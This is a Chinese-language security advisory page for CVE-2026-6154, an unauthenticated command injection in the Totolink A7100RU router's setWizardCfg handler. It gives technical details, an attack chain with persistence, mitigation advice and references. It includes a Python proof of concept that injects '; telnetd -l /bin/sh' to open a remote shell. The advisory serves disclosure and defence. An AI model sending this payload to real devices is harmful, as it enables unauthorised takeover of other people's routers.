CVE-2026-6154 CVSS 9.8 严重

CVE-2026-6154 Totolink A7100RU命令注入漏洞

披露日期: 2026-04-13

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-6154

漏洞类型

操作系统命令注入

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Totolink A7100RU

漏洞概述

Totolink A7100RU路由器（版本7.4cu.2313_b20191024）的/cgi-bin/cstecgi.cgi文件中存在安全漏洞。该漏洞源于setWizardCfg函数对wizard参数的处理不当，导致操作系统命令注入。攻击者无需认证即可远程发起攻击，利用该漏洞可在目标系统上执行任意系统命令，获取最高权限，对系统的机密性、完整性和可用性造成严重影响。目前该漏洞利用代码已公开。

技术细节

该漏洞位于Totolink A7100RU路由器的Web管理接口CGI处理程序中。具体受影响的是/cgi-bin/cstecgi.cgi脚本中的setWizardCfg函数。在处理用户提交的向导配置（wizard）参数时，程序未对输入数据进行严格的过滤和净化，直接将其传递给后端系统调用函数。由于缺乏认证机制，未授权的攻击者可以通过构造恶意的HTTP POST请求，向wizard参数注入Shell元字符（如分号或管道符）。当服务器端解析该参数并执行系统命令时，注入的恶意代码将被操作系统执行，从而导致远程代码执行（RCE）。

攻击链分析

STEP 1

1. 信息收集

攻击者扫描网络，识别出运行固件版本为7.4cu.2313_b20191024的Totolink A7100RU设备。

STEP 2

2. 漏洞利用

攻击者向设备的/cgi-bin/cstecgi.cgi接口发送特制的HTTP POST请求，在wizard参数中注入恶意Shell命令。

STEP 3

3. 命令执行

由于未对参数进行过滤，服务器端将恶意参数拼接到系统命令中执行，攻击者成功获取设备Shell权限。

STEP 4

4. 持久化控制

攻击者利用获取的权限开启后门（如Telnet）或下载恶意木马，实现对路由器的长期控制。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
TARGET_IP = "192.168.0.1"
URL = f"http://{TARGET_IP}/cgi-bin/cstecgi.cgi"

# Vulnerable payload injecting a command (e.g., telnet enable or simple ping)
# The 'wizard' parameter is vulnerable to OS command injection.
payload_data = {
    "function": "setWizardCfg",
    "wizard": "; telnetd -l /bin/sh"  # Injecting command to start telnet
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Content-Type": "application/x-www-form-urlencoded"
}

try:
    response = requests.post(URL, data=payload_data, headers=headers, timeout=5)
    if response.status_code == 200:
        print("[+] Payload sent successfully. Check if telnet port is open.")
    else:
        print(f"[-] Failed. Status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施

建议用户暂时关闭路由器的远程Web管理功能，仅允许受信任的内网IP访问管理端口。同时在网络边界防火墙设置规则，阻断外部对TCP 80/443端口的非必要访问，直至厂商发布安全更新。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-6154
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-6154
3 Details https://www.cvedetails.com/cve/CVE-2026-6154/
4 VulDB https://vuldb.com/cve/CVE-2026-6154
5 Link https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_194/README.md
6 Link https://vuldb.com/submit/792990
7 Link https://vuldb.com/vuln/357034
8 Link https://vuldb.com/vuln/357034/cti
9 Link https://www.totolink.net/

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表